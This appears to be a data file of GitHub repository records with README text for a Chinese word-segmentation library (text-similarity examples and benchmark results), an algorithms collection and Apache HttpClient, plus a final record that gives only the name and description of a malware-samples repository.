的相似度分值:1.0 我爱购物 和 我爱读书 的相似度分值:0.5 我爱购物 和 他是黑客 的相似度分值:0.0 我爱读书 和 我爱读书 的相似度分值:1.0 我爱读书 和 他是黑客 的相似度分值:0.0 他是黑客 和 他是黑客 的相似度分值:1.0 方式四:SimHash + 汉明距离,先使用SimHash把不同长度的文本映射为等长文本,然后再计算等长文本的汉明距离 实现类:org.apdplat.word.analysis.SimHashPlusHammingDistanceTextSimilarity 用法如下: String text1 = "我爱购物"; String text2 = "我爱读书"; String text3 = "他是黑客"; TextSimilarity textSimilarity = new SimHashPlusHammingDistanceTextSimilarity(); double score1pk1 = textSimilarity.similarScore(text1, text1); double score1pk2 = textSimilarity.similarScore(text1, text2); double score1pk3 = textSimilarity.similarScore(text1, text3); double score2pk2 = textSimilarity.similarScore(text2, text2); double score2pk3 = textSimilarity.similarScore(text2, text3); double score3pk3 = textSimilarity.similarScore(text3, text3); System.out.println(text1+" 和 "+text1+" 的相似度分值:"+score1pk1); System.out.println(text1+" 和 "+text2+" 的相似度分值:"+score1pk2); System.out.println(text1+" 和 "+text3+" 的相似度分值:"+score1pk3); System.out.println(text2+" 和 "+text2+" 的相似度分值:"+score2pk2); System.out.println(text2+" 和 "+text3+" 的相似度分值:"+score2pk3); System.out.println(text3+" 和 "+text3+" 的相似度分值:"+score3pk3); 运行结果如下: 我爱购物 和 我爱购物 的相似度分值:1.0 我爱购物 和 我爱读书 的相似度分值:0.95 我爱购物 和 他是黑客 的相似度分值:0.83 我爱读书 和 我爱读书 的相似度分值:1.0 我爱读书 和 他是黑客 的相似度分值:0.86 他是黑客 和 他是黑客 的相似度分值:1.0 方式五:Jaccard相似性系数(Jaccard similarity coefficient),通过计算两个集合交集的大小除以并集的大小来评估他们的相似度 实现类:org.apdplat.word.analysis.JaccardTextSimilarity 用法如下: String text1 = "我爱购物"; String text2 = "我爱读书"; String text3 = "他是黑客"; TextSimilarity textSimilarity = new JaccardTextSimilarity(); double score1pk1 = textSimilarity.similarScore(text1, text1); double score1pk2 = textSimilarity.similarScore(text1, text2); double score1pk3 = textSimilarity.similarScore(text1, text3); double score2pk2 = textSimilarity.similarScore(text2, text2); double score2pk3 = textSimilarity.similarScore(text2, text3); double score3pk3 = textSimilarity.similarScore(text3, text3); System.out.println(text1+" 和 "+text1+" 的相似度分值:"+score1pk1); System.out.println(text1+" 和 "+text2+" 的相似度分值:"+score1pk2); System.out.println(text1+" 和 "+text3+" 的相似度分值:"+score1pk3); System.out.println(text2+" 和 "+text2+" 的相似度分值:"+score2pk2); System.out.println(text2+" 和 "+text3+" 的相似度分值:"+score2pk3); System.out.println(text3+" 和 "+text3+" 的相似度分值:"+score3pk3); 运行结果如下: 我爱购物 和 我爱购物 的相似度分值:1.0 我爱购物 和 我爱读书 的相似度分值:0.5 我爱购物 和 他是黑客 的相似度分值:0.0 我爱读书 和 我爱读书 的相似度分值:1.0 我爱读书 和 他是黑客 的相似度分值:0.0 他是黑客 和 他是黑客 的相似度分值:1.0 方式六:欧几里得距离(Euclidean Distance),通过计算两点间的距离来评估他们的相似度 实现类:org.apdplat.word.analysis.EuclideanDistanceTextSimilarity 用法如下: String text1 = "我爱购物"; String text2 = "我爱读书"; String text3 = "他是黑客"; TextSimilarity textSimilarity = new EuclideanDistanceTextSimilarity(); double score1pk1 = textSimilarity.similarScore(text1, text1); double score1pk2 = textSimilarity.similarScore(text1, text2); double score1pk3 = textSimilarity.similarScore(text1, text3); double score2pk2 = textSimilarity.similarScore(text2, text2); double score2pk3 = textSimilarity.similarScore(text2, text3); double score3pk3 = textSimilarity.similarScore(text3, text3); System.out.println(text1+" 和 "+text1+" 的相似度分值:"+score1pk1); System.out.println(text1+" 和 "+text2+" 的相似度分值:"+score1pk2); System.out.println(text1+" 和 "+text3+" 的相似度分值:"+score1pk3); System.out.println(text2+" 和 "+text2+" 的相似度分值:"+score2pk2); System.out.println(text2+" 和 "+text3+" 的相似度分值:"+score2pk3); System.out.println(text3+" 和 "+text3+" 的相似度分值:"+score3pk3); 运行结果如下: 我爱购物 和 我爱购物 的相似度分值:1.0 我爱购物 和 我爱读书 的相似度分值:0.41 我爱购物 和 他是黑客 的相似度分值:0.29 我爱读书 和 我爱读书 的相似度分值:1.0 我爱读书 和 他是黑客 的相似度分值:0.29 他是黑客 和 他是黑客 的相似度分值:1.0 方式七:曼哈顿距离(Manhattan Distance),通过计算两个点在标准坐标系上的绝对轴距总和来评估他们的相似度 实现类:org.apdplat.word.analysis.ManhattanDistanceTextSimilarity 用法如下: String text1 = "我爱购物"; String text2 = "我爱读书"; String text3 = "他是黑客"; TextSimilarity textSimilarity = new ManhattanDistanceTextSimilarity(); double score1pk1 = textSimilarity.similarScore(text1, text1); double score1pk2 = textSimilarity.similarScore(text1, text2); double score1pk3 = textSimilarity.similarScore(text1, text3); double score2pk2 = textSimilarity.similarScore(text2, text2); double score2pk3 = textSimilarity.similarScore(text2, text3); double score3pk3 = textSimilarity.similarScore(text3, text3); System.out.println(text1+" 和 "+text1+" 的相似度分值:"+score1pk1); System.out.println(text1+" 和 "+text2+" 的相似度分值:"+score1pk2); System.out.println(text1+" 和 "+text3+" 的相似度分值:"+score1pk3); System.out.println(text2+" 和 "+text2+" 的相似度分值:"+score2pk2); System.out.println(text2+" 和 "+text3+" 的相似度分值:"+score2pk3); System.out.println(text3+" 和 "+text3+" 的相似度分值:"+score3pk3); 运行结果如下: 我爱购物 和 我爱购物 的相似度分值:1.0 我爱购物 和 我爱读书 的相似度分值:0.33 我爱购物 和 他是黑客 的相似度分值:0.14 我爱读书 和 我爱读书 的相似度分值:1.0 我爱读书 和 他是黑客 的相似度分值:0.14 他是黑客 和 他是黑客 的相似度分值:1.0 方式八:Jaro距离(Jaro Distance),编辑距离的一种类型 实现类:org.apdplat.word.analysis.JaroDistanceTextSimilarity 用法如下: String text1 = "我爱购物"; String text2 = "我爱读书"; String text3 = "他是黑客"; TextSimilarity textSimilarity = new JaroDistanceTextSimilarity(); double score1pk1 = textSimilarity.similarScore(text1, text1); double score1pk2 = textSimilarity.similarScore(text1, text2); double score1pk3 = textSimilarity.similarScore(text1, text3); double score2pk2 = textSimilarity.similarScore(text2, text2); double score2pk3 = textSimilarity.similarScore(text2, text3); double score3pk3 = textSimilarity.similarScore(text3, text3); System.out.println(text1+" 和 "+text1+" 的相似度分值:"+score1pk1); System.out.println(text1+" 和 "+text2+" 的相似度分值:"+score1pk2); System.out.println(text1+" 和 "+text3+" 的相似度分值:"+score1pk3); System.out.println(text2+" 和 "+text2+" 的相似度分值:"+score2pk2); System.out.println(text2+" 和 "+text3+" 的相似度分值:"+score2pk3); System.out.println(text3+" 和 "+text3+" 的相似度分值:"+score3pk3); 运行结果如下: 我爱购物 和 我爱购物 的相似度分值:1.0 我爱购物 和 我爱读书 的相似度分值:0.67 我爱购物 和 他是黑客 的相似度分值:0.0 我爱读书 和 我爱读书 的相似度分值:1.0 我爱读书 和 他是黑客 的相似度分值:0.0 他是黑客 和 他是黑客 的相似度分值:1.0 方式九:Jaro–Winkler距离(Jaro–Winkler Distance),Jaro的扩展 实现类:org.apdplat.word.analysis.JaroWinklerDistanceTextSimilarity 用法如下: String text1 = "我爱购物"; String text2 = "我爱读书"; String text3 = "他是黑客"; TextSimilarity textSimilarity = new JaroWinklerDistanceTextSimilarity(); double score1pk1 = textSimilarity.similarScore(text1, text1); double score1pk2 = textSimilarity.similarScore(text1, text2); double score1pk3 = textSimilarity.similarScore(text1, text3); double score2pk2 = textSimilarity.similarScore(text2, text2); double score2pk3 = textSimilarity.similarScore(text2, text3); double score3pk3 = textSimilarity.similarScore(text3, text3); System.out.println(text1+" 和 "+text1+" 的相似度分值:"+score1pk1); System.out.println(text1+" 和 "+text2+" 的相似度分值:"+score1pk2); System.out.println(text1+" 和 "+text3+" 的相似度分值:"+score1pk3); System.out.println(text2+" 和 "+text2+" 的相似度分值:"+score2pk2); System.out.println(text2+" 和 "+text3+" 的相似度分值:"+score2pk3); System.out.println(text3+" 和 "+text3+" 的相似度分值:"+score3pk3); 运行结果如下: 我爱购物 和 我爱购物 的相似度分值:1.0 我爱购物 和 我爱读书 的相似度分值:0.73 我爱购物 和 他是黑客 的相似度分值:0.0 我爱读书 和 我爱读书 的相似度分值:1.0 我爱读书 和 他是黑客 的相似度分值:0.0 他是黑客 和 他是黑客 的相似度分值:1.0 方式十:Sørensen–Dice系数(Sørensen–Dice coefficient),通过计算两个集合交集的大小的2倍除以两个集合的大小之和来评估他们的相似度 实现类:org.apdplat.word.analysis.SørensenDiceCoefficientTextSimilarity 用法如下: String text1 = "我爱购物"; String text2 = "我爱读书"; String text3 = "他是黑客"; TextSimilarity textSimilarity = new SørensenDiceCoefficientTextSimilarity(); double score1pk1 = textSimilarity.similarScore(text1, text1); double score1pk2 = textSimilarity.similarScore(text1, text2); double score1pk3 = textSimilarity.similarScore(text1, text3); double score2pk2 = textSimilarity.similarScore(text2, text2); double score2pk3 = textSimilarity.similarScore(text2, text3); double score3pk3 = textSimilarity.similarScore(text3, text3); System.out.println(text1+" 和 "+text1+" 的相似度分值:"+score1pk1); System.out.println(text1+" 和 "+text2+" 的相似度分值:"+score1pk2); System.out.println(text1+" 和 "+text3+" 的相似度分值:"+score1pk3); System.out.println(text2+" 和 "+text2+" 的相似度分值:"+score2pk2); System.out.println(text2+" 和 "+text3+" 的相似度分值:"+score2pk3); System.out.println(text3+" 和 "+text3+" 的相似度分值:"+score3pk3); 运行结果如下: 我爱购物 和 我爱购物 的相似度分值:1.0 我爱购物 和 我爱读书 的相似度分值:0.67 我爱购物 和 他是黑客 的相似度分值:0.0 我爱读书 和 我爱读书 的相似度分值:1.0 我爱读书 和 他是黑客 的相似度分值:0.0 他是黑客 和 他是黑客 的相似度分值:1.0 #### 23、判定句子是有意义的人话的可能性: 通过如下命令: unix-like: chmod +x sentence-identify.sh & ./sentence-identify.sh windows: ./sentence-identify.bat 运行 org.apdplat.word.analysis.SentenceIdentify 类的结果如下所示: 1. 句子: 我是一个男人你是一个女人, 概率: 0.71428573 2. 句子: 我是一个人, 概率: 0.6666667 3. 句子: 我爱读书, 概率: 0.5 4. 句子: 我爱学习, 概率: 0.5 5. 句子: 法蒂小室汝辈武学大师改个入门处, 概率: 0.2857143 6. 句子: 显气孔率高压线塔总监督室波洛奈兹王毅陈刘玉荣, 概率: 0.2857143 7. 句子: 王捷俊汇报演出干草加韦拉一杠地垄墙未尝不可, 概率: 0.25 8. 句子: 八九点钟山光水色饱经世变普留申科淮河镇乐不极盘模拟飞行, 概率: 0.22222222 9. 句子: 物位任务区亡灵书巴纳尔没脑子揪人心肺复习功课林友力避风塘, 概率: 0.2 10. 句子: 参与方植物学报白善烨暗影狂奔骑白马痦子山城堡犹豫不定岳阳机场, 概率: 0.2 接着可根据命令行提示输入句子并回车来获得句子的评分 例如输入句子并回车:为中国崛起而努力奋斗 程序返回结果如下: 随机单词: [为, 中国, 崛起, 而, 努力, 奋斗] 生成句子: 为中国崛起而努力奋斗 句子概率: 1.0 例如输入句子并回车:人脑的记忆是保存在生物电上还是在细胞里? 程序返回结果如下: 随机单词: [人脑, 的, 记忆, 是, 保存, 在, 生物, 电, 上, 还是, 在, 细胞, 里] 生成句子: 人脑的记忆是保存在生物电上还是在细胞里? 句子概率: 0.8333333 ### 分词算法效果评估: 1、word分词 最大Ngram分值算法: 分词速度:370.9714 字符/毫秒 行数完美率:66.55% 行数错误率:33.44% 总的行数:2533709 完美行数:1686210 错误行数:847499 字数完美率:60.94% 字数错误率:39.05% 总的字数:28374490 完美字数:17293964 错误字数:11080526 2、word分词 最少词数算法: 分词速度:330.1586 字符/毫秒 行数完美率:65.67% 行数错误率:34.32% 总的行数:2533709 完美行数:1663958 错误行数:869751 字数完美率:60.12% 字数错误率:39.87% 总的字数:28374490 完美字数:17059641 错误字数:11314849 3、word分词 全切分算法: 分词速度:62.960262 字符/毫秒 行数完美率:57.2% 行数错误率:42.79% 总的行数:2533709 完美行数:1449288 错误行数:1084421 字数完美率:47.95% 字数错误率:52.04% 总的字数:28374490 完美字数:13605742 错误字数:14768748 4、word分词 双向最大最小匹配算法: 分词速度:462.87158 字符/毫秒 行数完美率:53.06% 行数错误率:46.93% 总的行数:2533709 完美行数:1344624 错误行数:1189085 字数完美率:43.07% 字数错误率:56.92% 总的字数:28374490 完美字数:12221610 错误字数:16152880 5、word分词 双向最小匹配算法: 分词速度:967.68604 字符/毫秒 行数完美率:46.34% 行数错误率:53.65% 总的行数:2533709 完美行数:1174276 错误行数:1359433 字数完美率:36.07% 字数错误率:63.92% 总的字数:28374490 完美字数:10236574 错误字数:18137916 6、word分词 双向最大匹配算法: 分词速度:661.148 字符/毫秒 行数完美率:46.18% 行数错误率:53.81% 总的行数:2533709 完美行数:1170075 错误行数:1363634 字数完美率:35.65% 字数错误率:64.34% 总的字数:28374490 完美字数:10117122 错误字数:18257368 7、word分词 正向最大匹配算法: 分词速度:1567.1318 字符/毫秒 行数完美率:41.88% 行数错误率:58.11% 总的行数:2533709 完美行数:1061189 错误行数:1472520 字数完美率:31.35% 字数错误率:68.64% 总的字数:28374490 完美字数:8896173 错误字数:19478317 8、word分词 逆向最大匹配算法: 分词速度:1232.6017 字符/毫秒 行数完美率:41.69% 行数错误率:58.3% 总的行数:2533709 完美行数:1056515 错误行数:1477194 字数完美率:30.98% 字数错误率:69.01% 总的字数:28374490 完美字数:8792532 错误字数:19581958 9、word分词 逆向最小匹配算法: 分词速度:1936.9575 字符/毫秒 行数完美率:41.42% 行数错误率:58.57% 总的行数:2533709 完美行数:1049673 错误行数:1484036 字数完美率:31.34% 字数错误率:68.65% 总的字数:28374490 完美字数:8893622 错误字数:19480868 10、word分词 正向最小匹配算法: 分词速度:2228.9465 字符/毫秒 行数完美率:36.7% 行数错误率:63.29% 总的行数:2533709 完美行数:930069 错误行数:1603640 字数完美率:26.72% 字数错误率:73.27% 总的字数:28374490 完美字数:7583741 错误字数:20790749 ### 相关文章: [1、中文分词算法 之 基于词典的正向最大匹配算法](http://yangshangchuan.iteye.com/blog/2031813) [2、中文分词算法 之 基于词典的逆向最大匹配算法](http://yangshangchuan.iteye.com/blog/2033843) [3、中文分词算法 之 词典机制性能优化与测试](http://yangshangchuan.iteye.com/blog/2035007) [4、中文分词算法 之 基于词典的正向最小匹配算法](http://yangshangchuan.iteye.com/blog/2040423) [5、中文分词算法 之 基于词典的逆向最小匹配算法](http://yangshangchuan.iteye.com/blog/2040431) [6、一种利用ngram模型来消除歧义的中文分词方法](http://my.oschina.net/apdplat/blog/411112) [7、一种基于词性序列的人名识别方法](http://my.oschina.net/apdplat/blog/411032) [8、中文分词算法 之 基于词典的全切分算法](http://my.oschina.net/apdplat/blog/412785) [9、9大Java开源中文分词器的使用方法和分词效果对比](http://my.oschina.net/apdplat/blog/412921) [10、中文分词之11946组同义词](http://my.oschina.net/apdplat/blog/408779) [11、中文分词之9271组反义词](http://my.oschina.net/apdplat/blog/411301) [12、如何利用多核提升分词速度](http://my.oschina.net/apdplat/blog/414076) [13、利用word分词来计算文本相似度](http://my.oschina.net/apdplat/blog/417047) [14、利用word分词来对文本进行词频统计](http://my.oschina.net/apdplat/blog/417641) [15、利用word分词通过计算词的语境来获得相关词](http://my.oschina.net/apdplat/blog/417922) ### 相关项目: [Java开源项目cws_evaluation:中文分词器分词效果评估对比](https://github.com/ysc/cws_evaluation/) [Java开源项目QuestionAnsweringSystem:人机问答系统](https://github.com/ysc/QuestionAnsweringSystem/) [Java开源项目word_web:通过web服务器对word分词的资源进行集中统一管理](https://github.com/ysc/word_web/) ### 相关文献: [An Implementation of Double-Array Trie](http://linux.thai.net/~thep/datrie/datrie.html) [MMSEG: A Word Identification System for Mandarin Chinese Text Based on Two Variants of the Maximum Matching Algorithm](http://technology.chtsai.org/mmseg/) [With Google’s new tool Ngram Viewer, you can visualise the rise and fall of concepts across 5 million books and 500 years!](https://books.google.com/ngrams) [word2vec](https://code.google.com/p/word2vec/) [魅力汉语](http://open.163.com/special/cuvocw/meilihanyu.html) [https://travis-ci.org/ysc/word](https://travis-ci.org/ysc/word)
0
indy256/codelibrary
:gem:Collection of algorithms and data structures
algorithm cpp data-structures java kotlin
[![GitHub stars](https://img.shields.io/github/stars/indy256/codelibrary.svg?style=flat&label=star)](https://github.com/indy256/codelibrary/) [![Java CI](https://github.com/indy256/codelibrary/actions/workflows/java.yml/badge.svg)](https://github.com/indy256/codelibrary/actions/workflows/java.yml) [![C++ CI](https://github.com/indy256/codelibrary/actions/workflows/cpp.yml/badge.svg)](https://github.com/indy256/codelibrary/actions/workflows/cpp.yml) [![Rust CI](https://github.com/indy256/codelibrary/actions/workflows/rust.yml/badge.svg)](https://github.com/indy256/codelibrary/actions/workflows/rust.yml) [![License](https://img.shields.io/badge/license-UNLICENSE-green.svg)](https://github.com/indy256/codelibrary/blob/master/UNLICENSE) ### Collection of algorithms and data structures in C++, Java, Kotlin, Python and Rust #### Data structures + [x] Segment tree [**c++**](cpp/structures/segment_tree.h) [**java**](java/structures/SegmentTree.java) [**kotlin**](kotlin/SegmentTree.kt) + [x] Segment tree without recursion [**c++**](cpp/structures/segment_tree_without_recursion.cpp) [**java**](java/structures/SegmentTreeWithoutRecursion.java) + [x] 2d tree [**c++**](cpp/structures/tree_2d.cpp) [**java**](java/structures/Tree2d.java) + [x] Fenwick tree [**c++**](cpp/structures/fenwick_tree.cpp) [**java**](java/structures/FenwickTree.java) [**kotlin**](kotlin/FenwickTree.kt) + [x] Fenwick tree with extended operations [**c++**](cpp/structures/fenwick_tree_interval.cpp) [**java**](java/structures/FenwickTreeExtended.java) + [x] Persistent tree [**java**](java/structures/PersistentTree.java) [**kotlin**](kotlin/PersistentTree.kt) + [x] Centroid decomposition [**c++**](cpp/structures/centroid_decomposition.cpp) [**java**](java/structures/CentroidDecomposition.java) + [x] Heavy/light decomposition [**c++**](cpp/structures/heavy_light_decomposition.cpp) [**java**](java/structures/HeavyLight.java) + [x] Link/cut tree [**c++**](cpp/structures/link_cut_tree.cpp) [**java**](java/structures/LinkCutTree.java) + [x] Link/cut tree for connectivity query [**java**](java/structures/LinkCutTreeConnectivity.java) + [x] Link/cut tree for LCA query [**java**](java/structures/LinkCutTreeLca.java) + [x] Binary heap [**java**](java/structures/BinaryHeap.java) + [x] Binary heap with change priority [**c++**](cpp/structures/binary_heap.cpp) [**java**](java/structures/BinaryHeapExtended.java) + [x] Disjoint sets [**c++**](cpp/structures/disjoint_sets.cpp) [**java**](java/structures/DisjointSets.java) + [x] Treap [**c++**](cpp/structures/treap.h) [**java**](java/structures/Treap.java) [**kotlin**](kotlin/Treap.kt) + [x] Treap with indexed key [**c++**](cpp/structures/treap_indexed.cpp) [**java**](java/structures/TreapIndexed.java) + [x] k-d tree for point query [**c++**](cpp/structures/kd_tree.cpp) [**java**](java/structures/KdTreePointQuery.java) + [x] k-d tree for rectangular query [**java**](java/structures/KdTreeRectQuery.java) + [x] R-tree [**java**](java/structures/RTree.java) + [x] Metric tree [**java**](java/structures/MetricTree.java) + [x] Quadtree [**java**](java/structures/QuadTree.java) + [x] Mergeable heap [**java**](java/structures/MergeableHeap.java) + [x] Queue with minimum [**c++**](cpp/structures/queue_min.cpp) [**java**](java/structures/QueueMin.java) + [x] Sparse table [**c++**](cpp/structures/sparse-table.cpp) [**java**](java/structures/RmqSparseTable.java) [**java**](java/graphs/lca/LcaSparseTable.java) + [x] Sparse segment tree [**c++**](cpp/structures/sparse-segment-tree.cpp) + [x] Wavelet tree [**c++**](cpp/structures/wavelet_tree.cpp) [**java**](java/structures/WaveletTree.java) + [x] Mo's algorithm [**java**](java/structures/MosAlgorithm.java) + [x] Mo's algorithm with point updates [**c++**](cpp/structures/mos_with_updates.cpp) #### Graph algorithms + [x] Shortest paths [**c++**](cpp/graphs/shortestpaths) [**java**](java/graphs/shortestpaths) + [x] Maximum flow [**c++**](cpp/graphs/flows) [**java**](java/graphs/flows) + [x] Maximum matching [**c++**](cpp/graphs/matchings) [**java**](java/graphs/matchings) + [x] Spanning tree [**c++**](cpp/graphs/spanningtree) [**java**](java/graphs/spanningtree) + [x] Connectivity [**c++**](cpp/graphs/dfs) [**java**](java/graphs/dfs) + [x] Biconnectivity [**java**](java/graphs/dfs/Biconnectivity.java) + [x] LCA Schieber-Vishkin algorithm [**c++**](cpp/graphs/lca/lca_rmq_schieber_vishkin.cpp) [**java**](java/graphs/lca/LcaSchieberVishkin.java) + [x] LCA [**java**](java/graphs/lca) + [ ] Planarity testing ([contribute a link or implementation](https://github.com/indy256/codelibrary/issues/28)) + [ ] Dynamic graph connectivity ([contribute a link or implementation](https://github.com/indy256/codelibrary/issues/29)) + [ ] Chu–Liu/Edmonds' algorithm ([contribute a link or implementation](https://github.com/indy256/codelibrary/issues/30)) + [ ] Minimum augmentation to strong connectivity ([contribute a link or implementation](https://github.com/indy256/codelibrary/issues/32)) + [ ] Minimum augmentation to biconnectivity ([contribute a link or implementation](https://github.com/indy256/codelibrary/issues/33)) #### String algorithms + [x] Knuth-Morris-Pratt algorithm [**c++**](cpp/strings/kmp.cpp) [**java**](java/strings/Kmp.java) + [x] Aho-Corasick algorithm [**c++**](cpp/strings/aho-corasick.cpp) [**java**](java/strings/AhoCorasick.java) + [x] Suffix array and lcp array. Radix sort algorithm in O(n*log(n)) [**c++**](cpp/strings/suffix-array.cpp) [**java**](java/strings/SuffixArray.java) + [x] Suffix array. Algorithm DC3 in O(n) [**c++**](cpp/strings/suffix-array-dc3.cpp) [**java**](java/strings/SuffixArrayDC3.java) + [x] Suffix array. Algorithm SA-IS in O(n) [**c++**](cpp/strings/suffix-array-sa-is.cpp) + [x] Suffix automaton [**c++**](cpp/strings/suffix-automaton.cpp) [**java**](java/strings/SuffixAutomaton.java) + [x] Suffix tree Ukkonen's algorithm [**c++**](cpp/strings/suffix_tree_ukkonen.cpp) [**java**](java/strings/SuffixTree.java) + [x] Suffix tree Breslauer-Italiano algorithm [**c++**](cpp/strings/suffix_tree_breslauer_italiano.cpp) + [x] Trie [**java**](java/strings/Trie.java) + [x] Z-function [**c++**](cpp/strings/z-function.cpp) [**java**](java/strings/ZFunction.java) + [x] Hashing [**c++**](cpp/strings/hashing.cpp) [**java**](java/strings/Hashing.java) + [x] Parsing [**java**](java/parsing) [**c++**](cpp/parsing) + [ ] Palindrome tree ([contribute a link or implementation](https://github.com/indy256/codelibrary/issues/34)) + [ ] Sorting strings in linear time ([contribute a link or implementation](https://github.com/indy256/codelibrary/issues/31)) #### Sorting algorithms + [x] Sorting algorithms [**c++**](cpp/sort/sort.cpp) [**java**](java/sort/Sort.java) + [x] N-th element [**java**](java/sort/NthElement.java) #### Geometry algorithms + [x] Segments intersection [**c++**](cpp/geometry/segments_intersection.cpp) [**java**](java/geometry/SegmentsIntersection.java) + [x] Line operations [**java**](java/geometry/LineGeometry.java) + [x] Circle operations [**java**](java/geometry/CircleOperations.java) + [x] Convex hull [**c++**](cpp/geometry/convex_hull.cpp) [**java**](java/geometry/ConvexHull.java) + [x] Point in polygon query [**c++**](cpp/geometry/point_in_polygon.cpp) [**java**](java/geometry/PointInPolygon.java) + [x] Closest pair of points [**java**](java/geometry/Closest2Points.java) + [x] Furthest pair of points [**c++**](cpp/geometry/diameter.cpp) + [ ] Implement quaternion ([contribute a link or implementation](https://github.com/indy256/codelibrary/issues/35)) #### Optimization + [x] Simplex algorithm [**java**](java/optimization/Simplex.java) #### Numerical algorithms + [x] Fast Fourier transform (FFT) [**c++**](cpp/numeric/fft.h) [**java**](java/numeric/FFT.java) + [x] Long arithmetics [**c++**](cpp/numeric/bigint.cpp) + [x] Fast subset convolution [**java**](java/numeric/SubsetConvolution.java) + [x] Fast Walsh-Hadamar transform [**java**](java/numeric/WalshHadamarTransform.java) + [x] Karatsuba multiplication [**java**](java/numeric/KaratsubaMultiply.java) + [x] Newton interpolation [**java**](java/numeric/NewtonInterpolation.java) + [x] Laguerre's root-finding algorithm [**c++**](cpp/numeric/polynom-roots.cpp) #### Number theory + [x] Primes and divisors [**java**](java/numbertheory/PrimesAndDivisors.java) [**c++**](cpp/numbertheory/primes_and_divisors.cpp) + [x] Factorization [**java**](java/numbertheory/Factorization.java) [**c++**](cpp/numbertheory/factorization.cpp) + [x] Euclidean algorithm [**java**](java/numbertheory/Euclid.java) [**c++**](cpp/numbertheory/euclid.cpp) + [x] Primitive root [**c++**](cpp/numbertheory/primitive_root.cpp) + [x] Discrete logarithm [**c++**](cpp/numbertheory/discrete_log.cpp) + [x] Discrete root [**c++**](cpp/numbertheory/discrete_root.cpp) + [x] Multiplicative function [**java**](java/numbertheory/MultiplicativeFunction.java) + [x] Rational numbers [**java**](java/numbertheory/Rational.java) + [x] Polynom class [**c++**](cpp/numbertheory/polynom.h) + [x] Linear recurrence and Berlekamp-Massey algorithm [**c++**](cpp/numbertheory/linear_recurrence.cpp) + [x] Modular operations [**c++**](cpp/numbertheory/modint.h) #### Combinatorics + [x] Permutations [**java**](java/combinatorics/Permutations.java) + [x] Combinations [**java**](java/combinatorics/Combinations.java) + [x] Arrangements [**java**](java/combinatorics/Arrangements.java) + [x] Partitions [**java**](java/combinatorics/Partitions.java) + [x] Set Partitions [**java**](java/combinatorics/SetPartitions.java) + [x] Bracket sequences [**java**](java/combinatorics/BracketSequences.java) + [x] Binomial coefficients [**java**](java/combinatorics/BinomialCoefficients.java) + [x] Prufer code [**java**](java/combinatorics/PruferCode.java) #### Linear algebra + [x] Gaussian elimination [**c++**](cpp/linearalgebra/gauss.cpp) [**java**](java/linearalgebra/Gauss.java) [**kotlin**](kotlin/Gauss.kt) + [x] Determinant calculation [**java**](java/linearalgebra/Determinant.java) + [x] Matrix operations [**c++**](cpp/linearalgebra/matrix.h) [**java**](java/linearalgebra/Matrix.java)
0
apache/httpcomponents-client
Mirror of Apache HttpClient
httpcomponents
<!-- ==================================================================== Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to you under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==================================================================== This software consists of voluntary contributions made by many individuals on behalf of the Apache Software Foundation. For more information on the Apache Software Foundation, please see <http://www.apache.org />. --> Apache HttpComponents Client ============================ Welcome to the HttpClient component of the Apache HttpComponents project. [![GitHub Actions Status](https://github.com/apache/httpcomponents-client/workflows/Java%20CI/badge.svg)](https://github.com/apache/httpcomponents-client/actions) [![Maven Central](https://maven-badges.herokuapp.com/maven-central/org.apache.httpcomponents.client5/httpclient5/badge.svg)](https://maven-badges.herokuapp.com/maven-central/org.apache.httpcomponents.client5/httpclient5) [![License](https://img.shields.io/badge/License-Apache%202.0-blue.svg)](https://opensource.org/licenses/Apache-2.0) Building Instructions --------------------- For building from source instructions please refer to [BUILDING.txt](./BUILDING.txt). Dependencies ------------ HttpClient main module requires Java 8 compatible runtime and depends on the following external libraries: * [Apache HttpComponents HttpCore](https://github.com/apache/httpcomponents-core) * [SLF4J API](http://www.slf4j.org/) Other dependencies are optional. (for detailed information on external dependencies please see [pom.xml](./pom.xml)) Licensing --------- Apache HttpComponents Client is licensed under the Apache License 2.0. See the files [LICENSE.txt](./LICENSE.txt) and [NOTICE.txt](./NOTICE.txt) for more information. Contact ------- - For general information visit the main project site at https://hc.apache.org/ - For current status information visit the status page at https://hc.apache.org/status.html - If you want to contribute visit https://hc.apache.org/get-involved.html Cryptographic Software Notice ----------------------------- This distribution may include software that has been designed for use with cryptographic software. The country in which you currently reside may have restrictions on the import, possession, use, and/or re-export to another country, of encryption software. BEFORE using any encryption software, please check your country's laws, regulations and policies concerning the import, possession, or use, and re-export of encryption software, to see if this is permitted. See https://www.wassenaar.org/ for more information. The U.S. Government Department of Commerce, Bureau of Industry and Security (BIS), has classified this software as Export Commodity Control Number (ECCN) 5D002.C.1, which includes information security software using or performing cryptographic functions with asymmetric algorithms. The form and manner of this Apache Software Foundation distribution makes it eligible for export under the License Exception ENC Technology Software Unrestricted (TSU) exception (see the BIS Export Administration Regulations, Section 740.13) for both object code and source code. The following provides more details on the included software that may be subject to export controls on cryptographic software: > Apache HttpComponents Client interfaces with the > Java Secure Socket Extension (JSSE) API to provide > - HTTPS support > > Apache HttpComponents Client does not include any > implementation of JSSE.
0
davinci1012/pinduoduo_backdoor_unpacker
Samples and Unpacker of malicious backdoors and exploits developed and used by Pinduoduo
null
